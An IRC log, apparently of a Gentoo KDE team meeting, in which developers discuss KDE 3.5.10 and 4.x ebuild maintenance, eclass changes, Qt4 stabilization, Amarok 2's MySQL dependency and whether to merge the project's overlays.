+[20:08:22] <MrRat> in the top bar^
+[20:08:24] --> tbeadle_ (n=tbeadle@204.181.64.60) has joined #gentoo-kde
+[20:08:26] <PSYCHO___> because we have our files in there :]
+[20:08:26] <linex> Ah ok. nice feature but I don't think I want it. Not right now. Its removable, right ?
+[20:08:35] <tampakrap> what files?
+[20:09:00] -*- Sput failed getting a shell on d.ge.o yet :/
+[20:09:02] <PSYCHO___> tampakrap: snapshots of phonon4exampe
+[20:09:03] <bonsaikitten> tampakrap: because it hots so much
+[20:09:13] <bonsaikitten> right. someone fscked php
+[20:09:14] <tampakrap> ah yes
+[20:09:36] <linex> MrRat: I right clck. There Configure. Then what ?
+[20:09:49] <MrRat> linex: yes rightclick in the bar above topic, where file,view,etc... is
+[20:10:03] <linex> ok
+[20:10:03] --> restle (n=restle@212.6.7.10) has joined #gentoo-kde
+[20:10:23] <MrRat> see "show chat monitor"
+[20:10:30] <linex> ok, its gone. Its called Chat Monitor, right ?
+[20:10:44] <bonsaikitten> there.
+[20:11:24] <linex> Mr Rat : is it possible to have the traditional channel tabs instead of the tree-like on the left ?
+[20:11:31] <MrRat> linex: #quassel for other quassel related help :p
+[20:11:40] <PSYCHO___> ok i guess we should start so we can end up reasonably and hope others show up in progress... objections?
+[20:11:41] <linex> MrRat: ok fair enough
+[20:12:36] <-- tbeadle_ (n=tbeadle@204.181.64.60) has quit (Read error: 54 (Connection reset by peer))
+[20:12:41] <PSYCHO___> first on the nice list is just sumarising of previous meeting (read as what is not done from that list :])
+[20:12:43] <yngwin> no objections here
+[20:12:43] --> tbeadle_ (n=tbeadle@204.181.64.60) has joined #gentoo-kde
+[20:12:44] <MrRat> linex: however id prefer tabs myself too :p
+[20:12:46] <PSYCHO___> http://www.gentoo.org/proj/en/desktop/kde/meeting-logs/kde-herd-meeting-summary-20081204.txt
+[20:13:04] <linex> MrRat: :)
+[20:13:17] -*- cryos|work is listening...
+[20:13:30] <yngwin> ok, what's the latest on 3.5.10 stabilizing?
+[20:13:37] <cryos|work> For the record PSYCHO___ = ?
+[20:13:44] <yngwin> scarabeus
+[20:13:44] <PSYCHO___> scarabeus
+[20:13:48] <cryos|work> OK
+[20:13:52] <-- tbeadle (n=tbeadle@204.181.64.60) has quit (Read error: 104 (Connection reset by peer))
+[20:14:05] <-> scarabeus is now known as frogeater
+[20:14:13] <-> You are now known as scarabeus
+[20:14:42] <tampakrap> 3.5.10 is stable enough for the users but still there are many open bugs regarding it
+[20:14:55] <tampakrap> and of course there is still the issue with the misc apps
+[20:15:18] <scarabeus> is there any progress? or nobody is working on it seriously
+[20:15:25] <tampakrap> the eclass has to be updated to make them prefixed to /usr/kde/3.5
+[20:15:29] <scarabeus> maybe we should write on dev we want some volunteers
+[20:15:46] <tampakrap> i'm ok with this
+[20:15:53] <Sput> as a side remark: 3.5.10 will definitely be upstream's last release
+[20:15:55] --> agamn (n=agamn@ip-83-134-215-20.dsl.scarlet.be) has joined #gentoo-kde
+[20:15:58] <tampakrap> i also can work on it but was busy with quiz and other things lately
+[20:15:59] <yngwin> ok
+[20:16:00] <yngwin> shame
+[20:16:28] <Sput> some patches still go into svn, but no further releases are planned.
+[20:16:36] -*- cryos|work has found it tough finding spare time to work on 3.5.10...
+[20:16:44] <scarabeus> we need it stable in order to make 4.X stable :]
+[20:16:56] <scarabeus> since only 3.5.10 has correct cryos magic :]
+[20:17:11] <tampakrap> ok but i think we should concentrate on kde-4.2 release first and then to 3.5
+[20:17:21] <yngwin> so let's do a call for volunteers to help squash bugs on 3.5.10
+[20:17:31] <tampakrap> agreed
+[20:17:31] <scarabeus> ok who will sent the mail on dev?
+[20:17:40] <tampakrap> you :)
+[20:17:48] <cryos|work> I will as and when I can send the time, but currently my spare time is at a real premium :-(
+[20:18:08] <scarabeus> well i am getting my time pretty sqeezed too :]
+[20:18:16] <scarabeus> so we shall see :]
+[20:19:12] <scarabeus> ok next thing is kde4 eclasses are ready for commit to the main tree
+[20:19:27] <scarabeus> after this commits, all in tree ebuilds must be updated and revbump
+[20:19:38] <alexxy> and seems most of kde4 misc apps already ready for this eclasses
+[20:19:39] <scarabeus> and users must use these versions in order for flawless update
+[20:19:45] <cryos|work> I still think the default for live outside of kde-base should be changed back to what it was - doesn't directly affect tree ebuilds though.
+[20:20:07] <scarabeus> cryos|work: ok that i missed, fix  that in some commit please, so i dont forget again
+[20:20:23] <cryos|work> I will do it - I just didn't want to cause it to yo-yo...
+[20:20:26] <scarabeus> make it +kdeprefix for everything live by default
+[20:20:38] <scarabeus> cryos|work: i already agreed on it :P i only forget
+[20:20:52] <cryos|work> Yep - explicitly setting to - will continue to work.
+[20:20:56] -*- cryos|work goes to do that...
+[20:21:18] <scarabeus> anything else to eclasses?
+[20:21:21] <alexxy> but there still should be possible to install live kde misc apps with kde 4.1 or 4.2
+[20:21:31] <scarabeus> alexxy: it is :}
+[20:21:39] <scarabeus> you just need to set kdeprefix correctly first
+[20:21:41] <cryos|work> It is - set -kdeprefix.
+[20:21:46] <scarabeus> and for that you need to know what are you doing
+[20:22:19] <alexxy> because some misc apllets exists only as -9999 ones
+[20:22:24] <cryos|work> Anyone using live should know what they are doing...
+[20:22:38] <scarabeus> agreed with cryos on this
+[20:22:47] <alexxy> me too =)
+[20:23:05] <scarabeus> ok i guess ecalsses were polished pretty fine :]
+[20:23:10] <-- undetected (n=laika@27.138.45.66.cm.sunflower.com) has quit
+[20:23:11] <alexxy> btw i saw kde 4.1.4 tagged in svn
+[20:23:17] <cryos|work> They are looking good to me.
+[20:23:27] <bonsaikitten> alexxy: yeah, that'll keep us busy next week :)
+[20:23:29] <scarabeus> ok since he mention it SOMEBODY willing to bump 4.1.4
+[20:23:39] <scarabeus> do we want it or need it?
+[20:23:41] <cryos|work> Yes it was and I think tarballs are uploaded.
+[20:23:42] <tampakrap> and what about misc apps?
+[20:23:42] <cryos|work> It will be a nice bump to all KDE apps when the new eclass goes in.
+[20:23:56] <scarabeus> cryos|work: good idea
+[20:23:57] <scarabeus> :]
+[20:24:00] <tampakrap> should live misc apps stay in :live and not in stable systems?
+[20:24:06] <cryos|work> Kill two birds with one stone.
+[20:24:07] <scarabeus> ok so we do eclass -> misc apps ->4.1.4
+[20:24:37] <scarabeus> ok who is going to do actual bump
+[20:24:40] <cryos|work> All live apps should be in the :live slot shouldn't they?
+[20:24:52] <tampakrap> my opinion to this: ^^
+[20:25:04] <scarabeus> can be in :0 if dev thinks it is needed
+[20:25:12] <tampakrap> we shouldn't provide live ebuilds for stable systems, it gets maintainance a hell
+[20:25:13] <scarabeus> but default is live
+[20:25:24] <cryos|work> It seems like a bad move to me.
+[20:25:33] <cryos|work> May be snapshots if it is warranted...
+[20:25:38] <alexxy> we can make snapshots for some mis apps
+[20:25:43] <alexxy> if they realy needed
+[20:25:51] <alexxy> *misc
+[20:26:05] <scarabeus> well we dont give users chance to use live in stable, and if they pull kde-crazy, they have to pick consequences themselves
+[20:26:27] <scarabeus> agreed with snapshots if it is needed app
+[20:26:44] <-- tbeadle_ (n=tbeadle@204.181.64.60) has quit (Read error: 60 (Operation timed out))
+[20:26:46] <tampakrap> and what about the opposite? should we provide versioned apps in :live?
+[20:26:50] <yngwin> i would suggest only make snapshots for things that should go into official tree
+[20:26:51] <alexxy> and some things about kde :4.2
+[20:26:57] <alexxy> it needs
+[20:27:03] <alexxy> networkmanager 0.7
+[20:27:19] <scarabeus> well i finished nm-0.7 with blessing from rbu :]
+[20:27:24] <alexxy> so it also needs policykit
+[20:27:59] <scarabeus> policykit is suspended for now, i spoke with gnome and they have it too, i would do it with cooperation, so we will have actualy better chance not to screw up :]
+[20:28:00] <alexxy> also if we want to bump some stuff like kde printer applet we should have system-config apps unmasked
+[20:28:31] <scarabeus> alexxy: one problem per while man, if you throw 15 problems we should pick up on what to answer? :D
+[20:28:51] <bonsaikitten> let's start with the overlay situation before we discuss versioning ...
+[20:28:56] <alexxy> scarabeus: its still one global problem
+[20:29:02] <alexxy> deps of kde-4.2
+[20:29:02] --> tbeadle_ (n=tbeadle@204.181.64.60) has joined #gentoo-kde
+[20:29:03] <alexxy> )
+[20:29:09] <scarabeus> i know :D
+[20:29:26] <scarabeus> important question about stable tree:
+[20:29:35] <scarabeus> should we allow usage of +kdeprefix for stable users?
+[20:29:49] <tampakrap> i vote for no :)
+[20:29:53] <scarabeus> we had this nice discussion and i think for stable tree this feature could be disabled
+[20:30:02] <cryos|work> I always voted no...
+[20:30:19] <cryos|work> I think jmbsvicetto may have more to say here though.
+[20:30:26] <alexxy> this fature should be use.masked
+[20:30:32] <cryos|work> I am not sure this can be decided without others here.
+[20:31:00] <alexxy> so if people realy realy want it they should unmask this feature
+[20:31:10] <scarabeus> yup ;]
+[20:31:33] <cryos|work> Sounds like a good idea - still a shame more devs are not present if they wanted to discuss this further.
+[20:31:47] <scarabeus> alexxy: you have meeting about becoming dev tomorow right?
+[20:31:53] <tampakrap> well, in case we provide this, we could not officially support it
+[20:31:53] <alexxy> its will look like a situation with clustered lvm extensions =) they are masked by default
+[20:32:00] <alexxy> scarabeus: yes
+[20:32:01] <scarabeus> cryos|work: well this time i announced it properly
+[20:32:20] <cryos|work> I didn't say you didn't - you did a great job coordinating the meeting.
+[20:32:20] <scarabeus> ok i think alexxy can do bump for 4.1.4 as act of new dev :] so he try it too :}
+[20:32:42] <tampakrap> +1
+[20:32:58] <scarabeus> cryos|work: it was supposed to sound like i am sad they didnt come even with proper anouncement...
+[20:33:27] <scarabeus> that handles in tree moves for 4.2 preparation, which is great :]
+[20:33:34] <alexxy> heh =) i'll try
+[20:33:49] <scarabeus> also one thing for kde-testing overlay, somebody should doublecheck for missing ebuilds, in last week we added 2 completely new ones
+[20:33:52] <cryos|work> Sounds good, although make sure people are around to help/mentor ;-)
+[20:34:07] <cryos|work> scarabeus: Real life happens... I am sure jmbsvicetto would have made it if he could.
+[20:34:42] <scarabeus> yes yes he was looking forward on this meeting, he has few issues, and i think he would like to present his mysql magic ;]
+[20:35:07] <scarabeus> so who is willing to look up on kde-testing, that is important think that should not be forgoten
+[20:35:23] <cryos|work> What do you mean look up on?
+[20:35:43] <alexxy> also i think we should sanitize deps of kde:4.2 packages
+[20:35:47] <cryos|work> You mean bump to rcs etc when they are tagged?
+[20:35:57] <alexxy> some of deps already provided by kdelibs
+[20:35:59] <scarabeus> nope, there are missing ebuilds from dirs
+[20:36:08] <scarabeus> for example some missing games
+[20:36:12] <scarabeus> and missing applications
+[20:36:22] <scarabeus> as example bomber and kwrited
+[20:36:24] <alexxy> so i think this deps shoul be reoved from kde-base packages since they already depend on kdelibs
+[20:36:30] <tampakrap> bomber added today
+[20:36:37] <tampakrap> kwrited yesterday
+[20:36:42] <scarabeus> tampakrap: i know, and what else is missing, that is the point
+[20:36:51] <tampakrap> oh
+[20:36:52] <scarabeus> someone has to doublecheck, cmakelists/directories
+[20:37:03] <scarabeus> you wanna do it?
+[20:37:17] <tampakrap> ok but we want two for this :)
+[20:37:37] <alexxy> scarabeus: ok i'll oko for missing 4.2 apps
+[20:37:38] <alexxy> =)
+[20:37:43] <scarabeus> ok so you two :]
+[20:37:58] -*- alexxy uses kde 4.2 as dayly desktop]
+[20:38:01] <scarabeus> :]
+[20:38:35] <scarabeus> policykit is suspended until gnome starts working on it too as i said
+[20:38:44] <scarabeus> and one last thing regarding 4.2
+[20:38:49] <scarabeus> there is printing dialog again
+[20:38:52] <scarabeus> written in python
+[20:39:01] <scarabeus> using system-config-bla
+[20:39:02] <scarabeus> files
+[20:39:53] <tampakrap> and something else
+[20:39:55] <scarabeus> these packages are from dberkholz whom allowed us to mess with them, i think we should start playing with this in testing
+[20:40:08] <scarabeus> and add printing later and not with bump of 4.2
+[20:40:09] -*- dberkholz highlights
+[20:40:12] <tampakrap> we should bump every kde-misc app to eapi2 in kde-testing
+[20:40:15] <scarabeus> since it wont be correctly tested
+[20:40:40] <scarabeus> tampakrap: what for, only if they use kde4-base
+[20:40:50] <dberkholz> i mentioned to scarabeus previously but not to everyone. it's very important that you bump everything before testing, because current versions are very outdated.
+[20:41:03] <-- bicyclerepairman (n=sam@host86-128-227-224.range86-128.btcentralplus.com) has quit (Read error: 110 (Connection timed out))
+[20:41:22] <scarabeus> anyone specialy interested in making this work?
+[20:41:41] <bonsaikitten> :(
+[20:41:55] <tampakrap> reavertm could do this but he isn't here :(
+[20:42:08] <scarabeus> he said he wont have time today
+[20:42:15] <scarabeus> he is only one properly excused :D
+[20:42:41] --> mikb (n=mikb@c122-106-202-225.belrs3.nsw.optusnet.com.au) has joined #gentoo-kde
+[20:42:52] <tampakrap> ok, leave this one open and if he won't handle it, we'll announce it on g-desktop
+[20:43:04] <yngwin> sounds good
+[20:43:04] <scarabeus> anyone has something with regards for kde4.1/4,2 what i didnt speak of?
+[20:43:28] --> looonger (n=quassel@host-89-231-128-7.rawamaz.mm.pl) has joined #gentoo-kde
+[20:43:35] <tampakrap> yes
+[20:43:58] <tampakrap> should we provide versioned kde4 apps in live?
+[20:44:04] <-- BCMM (n=bcmm@unaffiliated/bcmm) has quit (Remote closed the connection)
+[20:44:09] <tampakrap> or only live ones?
+[20:44:14] <scarabeus> in crazy you mean?
+[20:44:27] <scarabeus> there should be everything we think that is not mature enought
+[20:44:32] <scarabeus> for example those koffice ebuilds
+[20:44:35] <tampakrap> i mean globally
+[20:44:40] <alexxy> what about kde-plasmoids?
+[20:44:52] <scarabeus> alexxy: you want them, you review them
+[20:44:56] <scarabeus> :D
+[20:45:01] <tampakrap> should we provide install of amarok2 in live and add block for amarok-live?
+[20:45:01] --> tgurr (n=tgurr@gentoo/developer/tgurr) has joined #gentoo-kde
+[20:45:01] <alexxy> ohhh
+[20:45:01] *** Mode #gentoo-kde +o tgurr by ChanServ
+[20:45:08] <alexxy> and what about sets
+[20:45:13] <alexxy> in off tree?
+[20:45:27] <scarabeus> in off tree we can use them as we want i think
+[20:45:39] <scarabeus> for tree we have to prepare metas, which will be done with 4.2 bump
+[20:45:58] <alexxy> can we add sets to off tree?
+[20:46:16] <yngwin> why not
+[20:46:18] <alexxy> or this will be done only after stabilazing portage-2.2?
+[20:46:37] <tampakrap> btw i'll write the guide for 4.2 and live this time for real :)
+[20:46:53] <scarabeus> ok writing it up to summary :]
+[20:46:54] --> undetected (n=laika@27.138.45.66.cm.sunflower.com) has joined #gentoo-kde
+[20:47:16] <yngwin> we can't put any sets in the official tree, but you can provide sets for them in the overlay
+[20:47:25] <scarabeus> as said yngwin
+[20:47:39] <scarabeus> for now we have to live with metas and be happy with eapi2
+[20:47:41] <xdmx> guys, why don't you put the direct url for each kde application instead of the generic www.kde.org? i mean, let's take for example marble, it's homepage is set to www.kde.org, but i think it would be 100 times better to put its own homepage ( http://edu.kde.org/marble/ ). so one interested to marble don't go to the kde homepage, but to its own. what do you think?
+[20:48:08] --> jbrouault (n=jbrouaul@ARennes-552-1-79-210.w92-135.abo.wanadoo.fr) has joined #gentoo-kde
+[20:48:18] <scarabeus> xdmx: open bug and give us ebuilds and correct urls, up to then kde.org will be used, we wont search web for them i guess :]
+[20:48:41] <tampakrap> or we could use edu.kde.org for example
+[20:48:47] <xdmx> scarabeus: http://nopaste.com/p/aHK4XLra6 this is a first one (some are to recheck because unmantained, i don't know if it's better to set directly the usertech site for some..) :)
+[20:49:32] <scarabeus> wow :] is anyone willing to do this? i am pretty sure i wont have itme for it, so i can only mark it as long term :]
+[20:49:54] <scarabeus> bonsaikitten: you dont wana use your regexp skillz?
+[20:50:44] <bonsaikitten> scarabeus: meh. maybe. if noone else can be coerced :)
+[20:51:02] <scarabeus> i guess it looks you are only one left with nothing assigned
+[20:51:13] <tampakrap> scarabeus: you too :)
+[20:51:31] <scarabeus> nope i am with putting eclasses to the tree and fixing all ebuilds
+[20:51:37] <tampakrap> :)
+[20:51:38] <scarabeus> i think it is pretty annoymarble -> http://edu.kde.org/marble/
+[20:51:38] <scarabeus> kbounce -> http://games.kde.org/game.php?game=kbounce
+[20:51:38] <scarabeus> kbreakout -> http://games.kde.org/game.php?game=kbreakout
+[20:51:38] <scarabeus> kdiamond -> http://games.kde.org/game.php?game=kdiamond
+[20:51:38] <scarabeus> kgoldrunner -> http://games.kde.org/game.php?game=kgoldrunner
+[20:51:38] <scarabeus> klines -> http://games.kde.org/game.php?game=klines
+[20:51:38] <scarabeus> kolf -> http://games.kde.org/game.php?game=kolf
+[20:51:38] <scarabeus> kollision -> http://games.kde.org/game.php?game=kollision
+[20:51:38] <scarabeus> ksame -> http://games.kde.org/game.php?game=ksame
+[20:51:38] <scarabeus> kspaceduel -> http://games.kde.org/game.php?game=kspaceduel
+[20:51:38] <scarabeus> kbattleship -> http://games.kde.org/game.php?game=kbattleship
+[20:51:38] <scarabeus> kmahjongg -> http://games.kde.org/game.php?game=kmahjongg
+[20:51:38] <scarabeus> kreversi -> http://games.kde.org/game.php?game=kreversi
+[20:51:38] <scarabeus> kshisen -> http://games.kde.org/game.php?game=kshisen
+[20:51:38] <scarabeus> kfourinline -> http://games.kde.org/game.php?game=kfourinline
+[20:51:43] <scarabeus> crap
+[20:51:46] <scarabeus> what did i push
+[20:52:02] <scarabeus> hm
+[20:52:04] <scarabeus> interesting
+[20:52:12] <yngwin> lol
+[20:52:28] <tampakrap> please pastebin don't spam the channel
+[20:52:31] <scarabeus> grrr
+[20:52:35] <wired^> lmao
+[20:52:51] <scarabeus> second time today quassel pasted when i didnt push that damn button :D
+[20:53:15] <alexxy> scarabeus: cause you text contains newlines
+[20:53:36] <scarabeus> alexxy: i didnt write it i marked it from buffer and put into my editor
+[20:53:38] <scarabeus> not here
+[20:53:41] <tampakrap> i think this is everything about 4.1/4.2
+[20:53:46] <scarabeus> yes /me too
+[20:53:53] <scarabeus> anyone has something in regards for that
+[20:54:06] <yngwin> guess not
+[20:54:21] <scarabeus> tgurr: your ebuild in genkdesvn for that pdf in scribus is broken, take look on fixed one in kde-crazy
+[20:54:35] <scarabeus> ok we get to qt4 yngwin, you have something interesting there?
+[20:54:42] <yngwin> yes
+[20:54:50] <yngwin> i have several recruits now
+[20:55:00] <yngwin> so it's starting to look good :)
+[20:55:21] <hwoarang> :)
+[20:55:22] <yngwin> hwoarang is doing good work on qt4-build.eclass
+[20:55:23] <-- Psychey (n=me@1x-193-157-193-9.uio.no) has quit (Success)
+[20:55:25] <tgurr> scarabeus: not my biggest problem atm ;) kernel is also broken on 2 machines here ...
+[20:55:28] <hwoarang> ah hold on
+[20:55:37] <hwoarang> yngwin and everybody
+[20:55:50] <hwoarang> qt4-build class needs to be ported on EAPI2 standards
+[20:55:55] <scarabeus> yngwin: great you should sent the other aprentices here too so we can meet them :]
+[20:56:03] <hwoarang> this means that qt-4.4.9999 live ebuilds
+[20:56:06] <hwoarang> need to change too
+[20:56:07] <yngwin> yes, i think sping came by the other day
+[20:56:10] <scarabeus> hwoarang: i guess on that you should use reavertm, he has great insight :]
+[20:56:27] <yngwin> he's one of the qt-creator devs
+[20:56:44] <hwoarang> ok scarabeus. will talk to him
+[20:56:48] <yngwin> so, we have been squashing qt4 bugs
+[20:56:56] <hwoarang> but qt ebuilds should move to qt overlay when it is ready
+[20:57:13] <hwoarang> i dont feel comfortable to play on kde-crazy :D
+[20:57:18] <tampakrap> i agree with this
+[20:57:29] <yngwin> yes, we should have the qt overlay up and running in a few days
+[20:57:44] <scarabeus> hwoarang: we dont bite ;D
+[20:57:47] <yngwin> then we'll push stuff to kde-testing/crazy when they're ready
+[20:57:56] <yngwin> scarabeus: we do :p
+[20:58:02] <hwoarang> :D
+[20:58:13] <scarabeus> yngwin: dont forget to upload kde-teams keys if you want us to help you ;]
+[20:58:35] <yngwin> yes, i'll look into that once it's really up
+[20:58:47] <scarabeus> :]
+[20:59:02] <yngwin> another thing, i want to stabilize qt 4.4.2
+[20:59:10] <yngwin> first split ebuilds version to go stable
+[20:59:15] <scarabeus> i volte yes :]
+[20:59:24] <-- hvengel (n=hvengel@astound-66-234-194-11.ca.astound.net) has quit (Read error: 145 (Connection timed out))
+[20:59:38] <scarabeus> note: new kde4 eclasses specialy depends on splited qt ebuilds, i dropped the old mono qt stuff
+[20:59:55] <yngwin> i wrote a migration guide, because i've seen many problems, but according to jkt and zmedico it should go smooth now
+[20:59:55] <scarabeus> you need some help there from us or bug is filled and all is going fine?
+[21:00:42] <yngwin> well, i need a stable system with qt-4.3 and PyQt4, then test if keywording 4.4 ebuilds and masking 4.3 really gives a smooth upgrade path
+[21:01:18] <scarabeus> hm, read as: ANYONE ON STABLE HERE? ;]
+[21:01:26] <wired^> whats that? :P
+[21:01:26] -*- tampakrap 
+[21:01:36] <yngwin> so i was planning to test that in a chroot tonight otherwise
+[21:02:01] -*- alexxy uses ~arch ( read as ~amd64 ~x86 ~mips and ~arm)
+[21:02:03] <scarabeus> ok you two can talk it out, it is up to you :]
+[21:02:07] <yngwin> tampakrap: you have qt-4.3 on there?
+[21:02:24] <tampakrap> no but i can downgrade 4.4 isn't even needed in this one
+[21:02:42] <yngwin> ok, we'll talk about that after the meeting then
+[21:03:03] <scarabeus> ook
+[21:03:41] <yngwin> another item is qt-embedded has not been receiving any love
+[21:03:58] <yngwin> but i probably should speak to embedded people about that
+[21:04:32] <scarabeus> there i guess we are not much able to help :] only if as embedded can be count some cluster ;]
+[21:05:36] <alexxy> he he =)
+[21:06:11] <scarabeus> yngwin: btw i looked on hwoarangs eom today and give him notes, i guess when he incorporate the updates he will pass review from recruiters so you will get new coleague :]
+[21:06:23] <yngwin> and i need to get a pythonista to mentor me a bit wrt ebuilds using python (mostly PyQt4 packages)
+[21:06:34] <Sput> qt-embedded = Qt Extended now?
+[21:06:36] <yngwin> scarabeus: great
+[21:06:44] <Sput> or what is that supposed to be?
+[21:07:03] <alexxy> seems qt extended
+[21:07:06] <scarabeus> yngwin: when you are on pyqt take creepy look on pykde on the route i think :]
+[21:07:14] <bonsaikitten> yngwin: I can try to help with python things
+[21:07:15] <alexxy> since qt embedded was renamed to it
+[21:07:20] <yngwin> Sput: yes, qt-extended / qtopia
+[21:07:27] <Sput> k
+[21:07:46] -*- Sput would like to have a Gentoo way of installing the Qtopia SDK
+[21:07:55] <yngwin> scarabeus: i'll do what i can
+[21:08:00] <scarabeus> :]
+[21:08:03] <yngwin> bonsaikitten: great
+[21:09:12] --> hvengel (n=hvengel@astound-66-234-194-11.ca.astound.net) has joined #gentoo-kde
+[21:09:19] <scarabeus> now i would like to know what is state of that mysql issue, but we are out since only guy working on it is jmbsvicetto so this note will be added to the summary additionaly, i would really like to have amarok2 on amd64 with kde4.2 bump
+[21:09:45] <-- St_MPA3b (n=quassel@gregory51.dialup.corbina.ru) has quit (Read error: 54 (Connection reset by peer))
+[21:09:50] --> St_MPA3b (n=quassel@gregory51.dialup.corbina.ru) has joined #gentoo-kde
+[21:09:53] -*- cryos|work would love to see amarok 2, but thinks the move to MySQL as the *only* backend wasn't good...
+[21:10:07] <yngwin> indeed
+[21:10:17] --> neyz (n=neyz@ram94-6-82-242-23-69.fbx.proxad.net) has joined #gentoo-kde
+[21:10:22] <tampakrap> they are going to import others too
+[21:10:25] <yngwin> i wonder why they couldn't use qt-sql interface, which can use various DBs
+[21:10:43] <scarabeus> because *censored* *censored* *censored*
+[21:11:56] <cryos|work> I am going to need to pay less attention to this meeting and more to work now...
+[21:11:57] <Sput> no they are not going to import others
+[21:12:01] <Sput> it'll stay mysql only
+[21:12:07] <yngwin> ok, so we need to wait for feedback from jmbsvicetto on this
+[21:12:08] <cryos|work> I heard they weren't either, but don't know.
+[21:12:41] <cryos|work> I really question the intelligence of using such a heavy weight dep for a music player as the only option though.
+[21:12:58] -*- yngwin just uses mpd
+[21:12:58] <cryos|work> I am not about to go trolling, but think it is a step backwards.
+[21:13:15] <scarabeus> well most of packagers think that it is step back
+[21:13:25] <scarabeus> what for fully fledged mysql on desktop machine
+[21:13:29] <cryos|work> In Avogadro we very carefully consider even optional deps, required deps even more so.
+[21:13:43] <bonsaikitten> from my own experience I claim that being unable to use sqlite is a sign of bad design
+[21:13:45] <cryos|work> I don't want to have to install things like MySQL on my EeePC...
+[21:13:52] <xiando> they're censoring the chatroms! protest!
+[21:13:53] <scarabeus> mysql only pseudoproffesional db :(
+[21:13:55] <bonsaikitten> it can handle millions of items, why can't it handle 6k songs?
+[21:14:05] <bonsaikitten> scarabeus: be quiet please :D
+[21:14:09] <Sput> sqlite can's work remotely though
+[21:14:12] <Sput> *can't
+[21:14:13] <xiando> 6k should be enough for anybody
+[21:14:22] <Sput> amarok upstream is not willing to maintain more than one backend
+[21:14:27] <bonsaikitten> Sput: uhm ... yeah ... let me just stab you a bit
+[21:14:30] <scarabeus> bonsaikitten: well i am doing some things as db specialist, so i know what is good db, and mysql never was such thing :D
+[21:14:32] -*- yngwin has 21k
+[21:14:34] <cryos|work> Why do I care if it can work remotely?
+[21:14:43] <Sput> and yes, they didn't properly design their db access :p
+[21:14:52] <scarabeus> thanks to embeded, they need to run on local machine which is also great
+[21:14:53] <scarabeus> :D
+[21:14:53] <bonsaikitten> scarabeus: I've worked with sqlite and currently have >50 MySQL servers to babysit
+[21:14:59] <Sput> cryos|work: many people share their db over several instances
+[21:15:07] <scarabeus> bonsaikitten: hope you enjoy it :]
+[21:15:10] <Sput> cryos|work: I have a central file server, and with amarok1 I used to have a central database
+[21:15:11] <cryos|work> Yeah, but everyone?
+[21:15:18] <xiando> I like Amarok 2.0.
+[21:15:19] <cryos|work> I certainly don't.
+[21:15:23] <bonsaikitten> scarabeus: I could tell you things, but then I'd have to shoot me
+[21:15:30] <scarabeus> :D
+[21:15:31] <-- Aw0L (n=awol@mx1.spfldsparc.org) has quit (Read error: 104 (Connection reset by peer))
+[21:15:31] <-- St_MPA3b (n=quassel@gregory51.dialup.corbina.ru) has quit (Operation timed out)
+[21:15:35] <cryos|work> I loved amarok, love the look of amarok 2.
+[21:15:37] <xiando> is this a good time to mention that I'd like koffice snapshots in kde-testing?
+[21:15:41] <cryos|work> We are drifting off topic though.
+[21:15:44] <scarabeus> hey i found one non flame topic
+[21:15:49] <scarabeus> MONO bindings in kde4
+[21:15:50] <yngwin> ok, before this becomes a flamefest, anything else on meeting?
+[21:15:54] <scarabeus> do we ship them or not?
+[21:15:59] <xiando> MONO is inherntly bad.
+[21:16:01] <bonsaikitten> no
+[21:16:06] <scarabeus> i volte for no
+[21:16:09] <scarabeus> !herd mono
+[21:16:14] <scarabeus> but if they will do them...
+[21:16:18] <scarabeus> there is no mono herd?
+[21:16:25] <tampakrap> lol
+[21:16:26] <cryos|work> I would go with no unless someone really wants to do it themselves.
+[21:16:27] <yngwin> do we have any apps that use them?
+[21:16:44] <scarabeus> !herd dotnet
+[21:16:45] <Willikins> scarabeus: (dotnet) compnerd, jurek, loki_val
+[21:16:58] <scarabeus> ok i will ask them if they want to create them :]
+[21:17:04] <bonsaikitten> haha
+[21:17:04] <scarabeus> otherwise they wont be shipped then
+[21:17:16] <loki_val> scarabeus: ?
+[21:17:52] <yngwin> loki_val: if you want kde-mono bindings
+[21:17:53] <scarabeus> loki_val: we have mono bindings in kde4, and nobody here uses mono, are you interested in it?
+[21:18:42] <loki_val> I use only kde3
+[21:18:58] <bonsaikitten> so it's dead :)
+[21:19:05] <loki_val> Sometime when kde4 works for me, perhaps.
+[21:19:05] <scarabeus> so its dead :]
+[21:19:16] <scarabeus> loki_val: ok i will write suspended for now :]
+[21:19:28] --> Vash63 (n=quassel@ip68-2-28-213.ph.ph.cox.net) has joined #gentoo-kde
+[21:19:31] <Sput> did we discuss the overlay situation already?
+[21:19:32] <Sput> bonsaikitten: ?
+[21:19:39] <bonsaikitten> afaik no
+[21:19:45] <bonsaikitten> might be a good time now :)
+[21:19:45] <scarabeus> nope i leave it on last thing
+[21:19:50] <scarabeus> because ti will be flame again
+[21:19:54] <scarabeus> i have one last thing
+[21:19:59] <tampakrap> no but we can't without jmbsvicetto and reavertm
+[21:20:15] <scarabeus> you know how we handle linguas in kde ebuilds
+[21:20:24] <scarabeus> how about move this magic to cmake-utils eclass
+[21:20:29] <scarabeus> so every cmake ebuild can use it
+[21:20:40] <tampakrap> agree
+[21:20:51] <ni1s> How come kde-base/kde-l10n isnt in @kdebase?
+[21:20:54] <yngwin> actually, i think there should be a generic linguas eclass
+[21:20:59] <scarabeus> ni1s: it is in @kde
+[21:21:10] <scarabeus> yngwin: well i write most abstract cmake stuff
+[21:21:22] <scarabeus> if some autotools mage wants to step in and write the same for autotools
+[21:21:24] <yngwin> ok, that could be a start
+[21:21:39] <ni1s> scarabeus, yeah, but it feels very baseish
+[21:21:59] <scarabeus> ni1s: it is not base requirement for system, and some people dont want it at all
+[21:22:35] <-- gyama (n=gyama@89.143.147.33) has left #gentoo-kde
+[21:22:41] <ni1s> scarabeus, ah ok
+[21:23:00] <scarabeus> ok i suspend the move to cmake utils eclass for now
+[21:23:05] <scarabeus> lets see how time evolve then :]
+[21:23:14] <scarabeus> i will try to talk someone to try it on autotools :]
+[21:23:33] <scarabeus> ok now we get to highly awaited topic
+[21:23:52] <scarabeus> too many overlays someone says :] merge kde-testing to kde-crazy or keep them splitted
+[21:23:53] <alexxy> overlays?
+[21:24:00] <scarabeus> i personaly want them splitted like they are
+[21:24:04] <bonsaikitten> merge
+[21:24:08] --> ivanich (n=ivanich@ivanich.tenet.odessa.ua) has joined #gentoo-kde
+[21:24:10] <tampakrap> cryos|work said we should define a policy
+[21:24:11] <hwoarang> split
+[21:24:20] <bonsaikitten> there's too many changes that don't get applied to the other
+[21:24:27] <tampakrap> but it is hard to maintain and sync changes between reavertm and alexxy :)
+[21:24:43] <scarabeus> that is good point
+[21:24:45] <alexxy> yes
+[21:24:53] <scarabeus> but what about users that want only test something that is almost ready
